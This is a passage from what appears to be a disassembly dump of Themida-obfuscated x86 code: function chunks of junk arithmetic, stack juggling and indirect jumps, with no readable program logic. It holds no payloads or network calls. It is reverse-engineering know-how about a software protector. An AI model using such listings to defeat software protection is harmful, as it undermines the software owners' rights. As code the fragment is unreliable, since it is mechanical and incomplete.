00572B1E SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005750D2 SIZE 0000000C BYTES push ebx mov ebx, 364F0266h add ebx, 14AA27DCh add ebx, 6A83DD8h sub ebx, 5075F3C5h or edx, ebx pop ebx shl edx, 6 sub esp, 4 mov [esp+4+var_4], ebp push edi push ecx push 6D0607C2h jmp loc_57269B sub_56C38F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_56C3BF: ; CODE XREF: sub_569FB8-8C8Bj pop ecx push 4641h mov [esp+0Ah+var_A], ecx mov ch, dh mov bh, ch mov ecx, [esp+0Ah+var_A] jmp loc_56A598 ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565A8D loc_56C3D4: ; CODE XREF: sub_565A8D+C712j xor [esp+0], ebx xor ebx, [esp+0] mov esp, [esp+0] jmp loc_57516F ; END OF FUNCTION CHUNK FOR sub_565A8D ; =============== S U B R O U T I N E ======================================= sub_56C3E2 proc near ; CODE XREF: sub_5604FE+1315Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0056219D SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00563CAA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00564078 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00564AC5 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005675C6 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00567F44 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056E61B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0057106C SIZE 00000015 BYTES sub esp, 4 mov [esp+4+var_4], ebp sub esp, 4 mov [esp+8+var_8], esp push ebx mov ebx, 4 add [esp+0Ch+var_8], ebx pop ebx mov ebp, [esp+8+var_8] add esp, 4 add ebp, 4 push edx mov edx, 4 jmp loc_564AC5 sub_56C3E2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_56C416: ; CODE XREF: sub_57549C-CEB5j mov [esp+0Ch+var_C], ecx mov ecx, 0AD41D74h xor ebp, ecx pop ecx push 442Ch mov [esp+0Ch+var_C], edx jmp loc_573A9D ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_56C42E: ; CODE XREF: sub_572641-E5CEj xor al, dl jmp loc_560950 ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_56C435: ; CODE XREF: sub_5754DA-14FF8j add ebp, 4 add ebp, 4 xchg ebp, [esp+12h+var_12] mov esp, [esp+12h+var_12] xor bh, 0CBh add al, bh pop ebx add al, 89h sub al, bl sub al, 89h sub esp, 4 jmp loc_567F1F ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570FB7 loc_56C458: ; CODE XREF: sub_570FB7-3612j mov [esp+0Ch+var_C], eax push [esp+0Ch+var_C] mov ebx, [esp+10h+var_10] sub esp, 4 mov [esp+0], ebx push esp pop ebx add ebx, 4 jmp loc_5715A7 ; END OF FUNCTION CHUNK FOR sub_570FB7 ; =============== S U B R O U T I N E ======================================= sub_56C474 proc near ; DATA XREF: Themida_:0055FF08o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056A33E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056B03C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056F138 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00573F6A SIZE 00000008 BYTES push dword ptr [esp+0] mov eax, [esp+4+var_4] push ebx push 385Ah mov [esp+0Ch+var_C], esp push 36AAh jmp loc_573F6A sub_56C474 endp ; =============== S U B R O U T I N E ======================================= sub_56C48D proc near ; CODE XREF: sub_56C7AA-9827j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00568D31 SIZE 00000007 BYTES sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 57602B6Dh shr ecx, 8 sub ecx, 1BE33D23h neg ecx add ecx, 54520A17h sub ecx, 1BD085BAh push edx mov edx, 6C832D9Fh xor ecx, edx mov edx, [esp+8+var_8] add esp, 4 add eax, 5372071Bh sub eax, ecx sub eax, 5372071Bh push [esp+4+var_4] push [esp+8+var_8] jmp loc_568D31 sub_56C48D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_56C4D7: ; CODE XREF: sub_561027+3159j or edx, esi pop esi dec edx push ecx push edx mov edx, 7AC5700h dec edx xor edx, 2BC4B57h mov ecx, edx pop edx xor edx, ecx jmp loc_566986 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E96D loc_56C4F3: ; CODE XREF: sub_56E96D-1603j mov edx, 7EE91CBDh xor esi, edx jmp loc_573AA8 ; END OF FUNCTION CHUNK FOR sub_56E96D ; =============== S U B R O U T I N E ======================================= sub_56C4FF proc near ; CODE XREF: sub_572EDC-12B5Cj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056081D SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00566D0E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005688BF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056F528 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00570FD1 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00571C75 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005724F0 SIZE 0000000C BYTES push ebp mov ebp, 24FE314Ah inc ebp or ebp, 260F0C09h jmp loc_5724F0 sub_56C4FF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57199D loc_56C511: ; CODE XREF: sub_57199D-14EEj push 404B7859h pop ecx sub eax, 14985F36h sub eax, 400D2D1Eh add eax, ecx push ebx push 31096621h jmp loc_567E1A ; END OF FUNCTION CHUNK FOR sub_57199D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56C52E: ; CODE XREF: sub_565632+65ACj mov esi, 3A175949h push ecx mov ecx, 524D3C39h sub esi, ecx jmp loc_56CAE8 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5733CA loc_56C540: ; CODE XREF: sub_5733CA+3AFj mov ecx, ebx pop ebx sub esi, ecx pop ecx add ecx, 65DF5821h add ecx, esi jmp loc_562368 ; END OF FUNCTION CHUNK FOR sub_5733CA ; =============== S U B R O U T I N E ======================================= sub_56C553 proc near ; CODE XREF: sub_56C295-B25Aj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056134D SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00562583 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005724FC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0057346C SIZE 00000010 BYTES sub esp, 4 mov [esp+4+var_4], ecx jmp loc_57346C sub_56C553 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56C561: ; CODE XREF: sub_57354D-B254j mov ebx, 57AF4918h jmp loc_572768 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_56C56B: ; CODE XREF: sub_560844+4560j mov ebx, 4413697Fh xor ecx, ebx pop ebx xor ecx, 0E7F6766h jmp loc_560BE4 ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A75 loc_56C57E: ; CODE XREF: sub_569A75+92ECj add esp, 4 jmp loc_56CC3F ; END OF FUNCTION CHUNK FOR sub_569A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D9E loc_56C589: ; CODE XREF: sub_568D9E+1833j push edx push ebp mov ebp, 0A4465DEh push 32C9124Eh mov edx, [esp+8+var_8] add esp, 4 add edx, 51A900D5h jmp loc_564AE1 ; END OF FUNCTION CHUNK FOR sub_568D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_56C5A6: ; CODE XREF: sub_5734A7-F8A1j push 53A2h mov [esp+8+var_8], ebx mov ebx, esp add ebx, 4 push edx mov edx, 4 jmp loc_56C1CE ; END OF FUNCTION CHUNK FOR sub_5734A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573A7F loc_56C5C1: ; CODE XREF: sub_573A7F-3D30j not [esp+8+var_8] jmp loc_572B58 ; END OF FUNCTION CHUNK FOR sub_573A7F ; --------------------------------------------------------------------------- loc_56C5C9: ; CODE XREF: Themida_:0056C9A8j xor eax, 7F362F67h mov ebx, eax jmp loc_5675E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_56C5D5: ; CODE XREF: sub_566400-151Cj mov edx, 16300476h add edx, ebx jmp loc_569F18 ; END OF FUNCTION CHUNK FOR sub_566400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56C5E1: ; CODE XREF: sub_564D26-27F2j not [esp+4+var_4] pop ebp push ebx push ebp pop ebx pop ebp xchg ebx, esi inc esi jmp loc_56830D ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570621 loc_56C5F1: ; CODE XREF: sub_570621-D381j xor edx, ecx jmp loc_563683 ; END OF FUNCTION CHUNK FOR sub_570621 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56C5F8: ; CODE XREF: sub_56616D+871Bj push [esp-14h+arg_10] mov eax, [esp-10h+arg_C] add esp, 4 push ecx mov ecx, esp push esi jmp loc_569BCA ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_56C60A: ; CODE XREF: sub_567D31+9C4Aj mov edi, 66F42050h add [esp+8+var_4], edi jmp loc_570855 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_56C618: ; CODE XREF: sub_574F16-C0DCj push edx push ecx mov ch, 0D3h jmp loc_568992 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56C621: ; CODE XREF: sub_5605BC+E660j push eax mov eax, 4 add edx, 3A8769D3h add edx, eax sub edx, 3A8769D3h pop eax push esi sub esp, 4 mov [esp+18h+var_18], eax mov eax, esp push esi mov esi, 9340293h shl esi, 6 shl esi, 3 inc esi sub esi, 680525FDh add eax, esi pop esi jmp loc_5626D6 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_56C65D: ; CODE XREF: sub_56EE9F-A2DFj xor edi, ecx mov ecx, [esp+0Ch+var_C] jmp loc_5627A1 ; END OF FUNCTION CHUNK FOR sub_56EE9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_56C667: ; CODE XREF: sub_56241E+4450j mov si, 0CD8h inc si and si, 401Ah jmp loc_5692EB ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_56C677: ; CODE XREF: sub_572075-9311j add ecx, 791A2EF3h jmp loc_564B88 ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56C682: ; CODE XREF: sub_563A7F+FA1Bj pop dx sub bl, 1 xchg bl, cl push eax mov al, 64h sub al, 0A7h sub al, 41h jmp loc_57079C ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564EBE loc_56C695: ; CODE XREF: sub_564EBE+B77j neg ecx neg ecx sub ecx, 50470EB9h sub ebx, ecx pop ecx push 313Dh mov [esp+0], edx push 426Ch mov [esp+4+var_4], ebx mov ebx, 619F466Dh shl ebx, 6 sub esp, 4 mov [esp+8+var_8], ebx neg [esp+8+var_8] pop ebx and ebx, 4CFA6579h xor ebx, 172E2B0Eh sub esp, 4 mov [esp+8+var_8], ebx not [esp+8+var_8] pop ebx sub ebx, 6E1D42B6h push ecx mov ecx, ebx mov edx, ecx pop ecx jmp loc_5643C9 ; END OF FUNCTION CHUNK FOR sub_564EBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56ACDE loc_56C6EB: ; CODE XREF: sub_56ACDE+9168j push dword ptr [esp+4] push [esp+8+var_8] pop edi jmp sub_56BDE9 ; END OF FUNCTION CHUNK FOR sub_56ACDE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566AF9 loc_56C6F8: ; CODE XREF: sub_566AF9-1F4Bj not eax or eax, 3C4D1FDAh shr eax, 3 sub eax, 0C81F48CFh or edx, eax pop eax shr edx, 5 push edx xchg edx, [esp+0Ch+var_C] not edx push edx push [esp+10h+var_C] pop edx pop [esp+10h+var_10] push [esp+0Ch+var_C] jmp loc_56BFE7 ; END OF FUNCTION CHUNK FOR sub_566AF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573612 loc_56C724: ; CODE XREF: sub_573612+9j add esp, 4 push 6489h mov [esp+8+var_8], eax mov eax, 43481A68h add eax, 0BCB7E59Ch push 48E4h mov [esp+0Ch+var_C], edx mov edx, 4D367AF6h xor edx, 5ACA30B6h jmp loc_5687AB ; END OF FUNCTION CHUNK FOR sub_573612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD38 loc_56C754: ; CODE XREF: sub_56FD38-5624j sub ebx, 63A36CD2h jmp loc_5631AE ; END OF FUNCTION CHUNK FOR sub_56FD38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_56C75F: ; CODE XREF: sub_56E126-A9Ej push 179Ch jmp loc_570A8C ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A423 loc_56C769: ; CODE XREF: sub_56A423+8624j and ecx, edx pop edx jmp loc_56C2A6 ; END OF FUNCTION CHUNK FOR sub_56A423 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565B6E loc_56C771: ; CODE XREF: sub_565B6E+9AE8j push [esp+8+var_8] pop edi jmp sub_564EBE ; END OF FUNCTION CHUNK FOR sub_565B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570C6A loc_56C77A: ; CODE XREF: sub_570C6A-B48Bj add edi, 4 jmp loc_56B076 ; END OF FUNCTION CHUNK FOR sub_570C6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56C785: ; CODE XREF: sub_563A7F+7A39j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0Ah+var_C+2] pop esp jmp loc_56AC8E ; END OF FUNCTION CHUNK FOR sub_563A7F ; =============== S U B R O U T I N E ======================================= sub_56C79C proc near ; CODE XREF: sub_5715F0-F072j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ecx jmp sub_56E0CB sub_56C79C endp ; =============== S U B R O U T I N E ======================================= sub_56C7AA proc near ; CODE XREF: sub_56264C+1067Fj var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00562D60 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00562F78 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00565F37 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005664F4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056A6BE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056ACFD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00572120 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005731D7 SIZE 0000000B BYTES push ebx push esi jmp loc_5664F4 sub_56C7AA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DBB0 loc_56C7B1: ; CODE XREF: sub_56DBB0-EDAj sub ebx, 1F90346Ch pop edi push ebp mov ebp, 36DC61B5h add ebp, 0A06195Ah add ebx, ebp pop ebp push small word ptr [eax] jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56DBB0 ; --------------------------------------------------------------------------- loc_56C7CF: ; CODE XREF: Themida_:0056B0E2j pop ecx push esi jmp loc_56A76E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_56C7D6: ; CODE XREF: sub_570732-68C6j mov esp, [esp+8+var_8] and eax, edx mov edx, [esp-4+arg_0] push 6458h mov [esp+0], ecx jmp loc_574292 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_56C7EB: ; CODE XREF: sub_56651E+C50j pop esp jmp loc_56DAA9 ; END OF FUNCTION CHUNK FOR sub_56651E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571289 loc_56C7F1: ; CODE XREF: sub_571289-10E11j add eax, 34326190h sub eax, esi sub eax, 34326190h pop esi add eax, ebx add eax, 31770CE5h pop ebx jmp loc_5696FE ; END OF FUNCTION CHUNK FOR sub_571289 ; --------------------------------------------------------------------------- loc_56C80B: ; CODE XREF: Themida_:00567861j pop esp sub ebx, ecx push dword ptr [esp] pop ecx jmp loc_5619CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570C6A loc_56C817: ; CODE XREF: sub_570C6A-5BC5j mov esi, 8AD62B2h shl esi, 6 jmp loc_564307 ; END OF FUNCTION CHUNK FOR sub_570C6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E96D loc_56C824: ; CODE XREF: sub_56E96D+514Dj mov eax, [esp+4+var_4] add esp, 4 xchg ebp, [esp+0] mov esp, [esp+0] bts [esp-4+arg_0], ax pushf jmp loc_56EE8A ; END OF FUNCTION CHUNK FOR sub_56E96D ; =============== S U B R O U T I N E ======================================= sub_56C83E proc near ; CODE XREF: sub_567D31-26ABj var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560937 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056410B SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0056435A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00568829 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005690C5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056AF3F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056D76C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056E9F6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056F8D3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005721CD SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0057255B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0057301E SIZE 00000037 BYTES ; FUNCTION CHUNK AT 005735FF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00574D66 SIZE 0000000C BYTES sub esp, 4 mov [esp+4+var_4], edi mov edi, esp add edi, 4 push ebx push 4 pop ebx add edi, ebx pop ebx xchg edi, [esp+4+var_4] pop esp jmp loc_5690C5 sub_56C83E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56C862: ; CODE XREF: sub_563A7F+AE52j push 1C706EF9h pop edx sub edi, edx mov edx, [esp+6+var_8+2] jmp loc_563824 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56C872: ; CODE XREF: sub_574304+58Dj xor edx, 6D704CB3h push eax mov eax, 0FFFFFFFFh jmp loc_561BAE ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_56C883: ; CODE XREF: sub_5604FE+98B2j mov edi, [esp+8+var_8] jmp loc_560DB9 ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56C88B: ; CODE XREF: sub_56FA15-D6DFj push eax jmp loc_56A9EE ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56C891: ; CODE XREF: sub_564D26+B10Cj xor edx, 210E6A74h jmp loc_566C6B ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56C89C: ; CODE XREF: sub_561418+80DCj xor [esp+14h+var_14], ecx xor ecx, [esp+14h+var_14] mov esp, [esp+14h+var_14] mov [esp+14h+var_14], edx pop dword ptr [edi+20h] jmp loc_57529E ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- loc_56C8B0: ; CODE XREF: Themida_:0057469Aj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 jmp loc_5743F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_56C8CE: ; CODE XREF: sub_56AB5E-A4D6j mov edx, esp add edx, 4 add edx, 4 jmp loc_5721BB ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- loc_56C8E1: ; CODE XREF: Themida_:0056DC1Bj xor [esp], eax jmp loc_56D213 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_56C8E9: ; CODE XREF: sub_567D31+9FADj xor [esp+8+var_8], edi xor edi, [esp+8+var_8] mov esp, [esp+8+var_8] shr esi, 3 push ecx mov ecx, 0B5C2623h add esi, ecx jmp loc_567584 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- loc_56C902: ; CODE XREF: Themida_:00562DB6j push edi mov edi, 4 add ecx, edi pop edi jmp loc_56E7F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D855 loc_56C910: ; CODE XREF: sub_56D855-C20Ej pop esp push 674Ch mov [esp+10h+var_10], ebx mov ebx, 47A2B0Ch add ebx, 1 jmp loc_5657CF ; END OF FUNCTION CHUNK FOR sub_56D855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563BCC loc_56C929: ; CODE XREF: sub_563BCC+2B62j xchg edi, [esp+10h+var_10] pop esp add edi, edx jmp loc_56FCCB ; END OF FUNCTION CHUNK FOR sub_563BCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1DB loc_56C934: ; CODE XREF: sub_56F1DB-5D85j add edx, 10A614B9h or edx, 57E6075Eh sub edx, 0A7B81B07h add esi, 768C4A0Fh sub esi, edx jmp loc_56028B ; END OF FUNCTION CHUNK FOR sub_56F1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F3B2 loc_56C953: ; CODE XREF: sub_56F3B2+297Cj add eax, 4 jmp loc_569408 ; END OF FUNCTION CHUNK FOR sub_56F3B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A423 loc_56C95D: ; CODE XREF: sub_56A423+A845j sub ecx, edx mov edx, [esp+10h+var_10] add esp, 4 jmp loc_571A2C ; END OF FUNCTION CHUNK FOR sub_56A423 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561979 loc_56C96D: ; CODE XREF: sub_561979+31j mov esi, esp push eax jmp loc_56B1E4 ; END OF FUNCTION CHUNK FOR sub_561979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E05C loc_56C975: ; CODE XREF: sub_56E05C-396Cj mov [esp+4+var_4], esp sub esp, 4 mov [esp+8+var_8], edx mov edx, 4 add [esp+8+var_4], edx pop edx jmp loc_562151 ; END OF FUNCTION CHUNK FOR sub_56E05C ; --------------------------------------------------------------------------- loc_56C990: ; CODE XREF: Themida_:00570D48j push dword ptr [esp] pop esi add esp, 4 push ebx sub esp, 4 mov [esp], esp push ebx push eax mov eax, 7F362F63h jmp loc_56C5C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_56C9AD: ; CODE XREF: sub_571C93-11AD9j add edi, 1EB84A22h mov ebp, edi pop edi add eax, ebp push dword ptr [esp+0] pop ebp push edx mov edx, esp add edx, 4 jmp loc_5669A4 ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643EB loc_56C9CA: ; CODE XREF: sub_5643EB+65FEj dec edx dec edx xor edx, 50531B8Dh jmp loc_57536E ; END OF FUNCTION CHUNK FOR sub_5643EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56C9D7: ; CODE XREF: sub_574656-65ABj not esi sub esi, 0D7FFB39Bh jmp loc_5707B3 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_56C9E4: ; CODE XREF: sub_570732+2BB6j mov ebp, [esp+18h+var_18] add esp, 4 push 2525h mov [esp+18h+var_18], ebx jmp loc_570075 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_56C9FA: ; CODE XREF: sub_56AB5E-38ACj and bh, 49h jmp loc_563866 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56CA11: ; CODE XREF: sub_561418+1386Fj sub esi, 30C3134Ah pop ebx sub esp, 4 jmp loc_5601A8 ; --------------------------------------------------------------------------- loc_56CA20: ; CODE XREF: sub_561418+13064j add esp, 4 push eax mov eax, ebp mov [edi+20h], eax jmp loc_57528D ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560056 loc_56CA31: ; CODE XREF: sub_560056+9E95j add eax, edi sub eax, 0C7C37FBh pop edi push edi mov edi, 4 add eax, edi mov edi, [esp+0] add esp, 4 xchg eax, [esp-4+arg_0] mov esp, [esp-4+arg_0] shr ecx, 6 sub esp, 4 mov [esp+0], edi jmp loc_573F9D ; END OF FUNCTION CHUNK FOR sub_560056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_56CA5B: ; CODE XREF: sub_5685B2+791Cj add esi, ebp push ecx mov ecx, 5F1344A6h xor ecx, 4E6C6B30h sub esi, ecx jmp loc_565AAD ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_56CA70: ; CODE XREF: sub_572141-DDB3j add ebp, edx push ecx mov ecx, 294C7FDFh push 42BAh mov [esp+10h+var_10], esi jmp loc_567AB9 ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680AC loc_56CA85: ; CODE XREF: sub_5680AC+BCCEj xor eax, ebx mov ebx, [esp+8+var_8] jmp sub_57199D ; END OF FUNCTION CHUNK FOR sub_5680AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_56CA8F: ; CODE XREF: sub_56AB5E+404Bj push 310F42EAh mov ecx, [esp+18h+var_18] add esp, 4 neg ecx dec ecx not ecx push edi mov edi, 2FCA4993h jmp loc_563763 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565A8D loc_56CAAA: ; CODE XREF: sub_565A8D+2C53j pop esi sub esi, 0E701ADBh jmp sub_56616D ; END OF FUNCTION CHUNK FOR sub_565A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57236D loc_56CAB6: ; CODE XREF: sub_57236D-ADFBj add esi, 4 xchg esi, [esp+8+var_8] pop esp add esp, 4 push ebx mov ebx, 2BE40561h jmp loc_56D83B ; END OF FUNCTION CHUNK FOR sub_57236D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5745B5 loc_56CACE: ; CODE XREF: sub_5745B5+362j add bh, 1 shl bh, 2 add bh, 0FBh or bh, 55h sub bh, 1 push ecx mov ch, 0D3h shr ch, 4 jmp sub_56A016 ; END OF FUNCTION CHUNK FOR sub_5745B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56CAE8: ; CODE XREF: sub_565632+6F09j pop ecx xor esi, 222D64A6h shl esi, 4 shl esi, 7 push 3349h mov [esp-10h+arg_C], eax jmp loc_56E289 ; END OF FUNCTION 